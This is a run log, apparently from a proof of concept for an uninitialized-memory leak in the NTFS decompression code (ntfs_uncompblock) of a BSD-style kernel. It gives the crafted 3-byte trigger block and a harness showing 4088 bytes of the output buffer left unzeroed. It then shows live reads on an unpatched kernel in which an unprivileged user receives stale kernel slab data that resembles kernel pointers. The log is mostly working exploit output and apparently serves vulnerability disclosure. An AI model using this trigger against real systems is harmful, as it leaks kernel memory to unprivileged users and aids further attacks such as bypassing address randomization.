DF-0933 / run.log
########## DETERMINISTIC HARNESS ##########
=== DF-0933 ntfs_uncompblock uninitialized-tail harness ===
[harness] transcribes sys/vfs/ntfs/ntfs_compr.c:46-93 line-for-line
[harness] trigger block (3 bytes + zero pad): 01 80 00
[harness] header 0x8001: COMPRESSED, len=1 (payload+header = 4 B)
[harness] ctag 0x00: all 8 sub-tokens are LITERALS
[harness] -> decompresses only buf[0..7], pos ends at 8
[harness] -> buf[8..4095] (4088 B) never written, never zeroed
[harness] ntfs_uncompblock returned 4 (len+3)
[harness] buf[0..15] (first 8 = literals, 8..15 = tail):
00 00 00 00 00 00 00 00 DE DE DE DE DE DE DE DE
[harness] bytes still == 0xDE sentinel in buf[8..4095]: 4072 / 4088
[harness] buf[4080..4095] (ascii marker region):
53 54 41 4C 45 2D 4B 4D 41 4C 4C 4F 43 2D 48 45 |STALE-KMALLOC-HE|
[harness] LEAK CONFIRMED: buf[8..4095] retains the sentinel.
[harness] The compressed branch of ntfs_uncompblock returned
[harness] without zeroing 4088 bytes of the output block.
[harness] On the kernel these bytes are stale M_NTFSDECOMP slab
[harness] content shipped to any reader via uiomove.
########## LIVE IN-KERNEL (#0 GENERIC, UNPATCHED) ##########
--- root reads (first 64 B) ---
root read 1:
00 00 00 00 00 00 00 00 d8 33 73 00 08 00 00 00
e0 33 73 00 08 00 00 00 88 30 73 00 08 00 00 00
90 30 73 00 08 00 00 00 98 30 73 00 08 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
root read 2:
00 00 00 00 00 00 00 00 d8 33 73 00 08 00 00 00
e0 33 73 00 08 00 00 00 88 30 73 00 08 00 00 00
90 30 73 00 08 00 00 00 98 30 73 00 08 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
root read 3:
00 00 00 00 00 00 00 00 d8 33 73 00 08 00 00 00
e0 33 73 00 08 00 00 00 88 30 73 00 08 00 00 00
90 30 73 00 08 00 00 00 98 30 73 00 08 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
nonzero bytes in 4096: 1364
--- unprivileged maxx (uid 1001) reads (first 64 B) ---
00 00 00 00 00 00 00 00 d8 33 73 00 08 00 00 00
e0 33 73 00 08 00 00 00 88 30 73 00 08 00 00 00
90 30 73 00 08 00 00 00 98 30 73 00 08 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
RC=0
RUN_DONE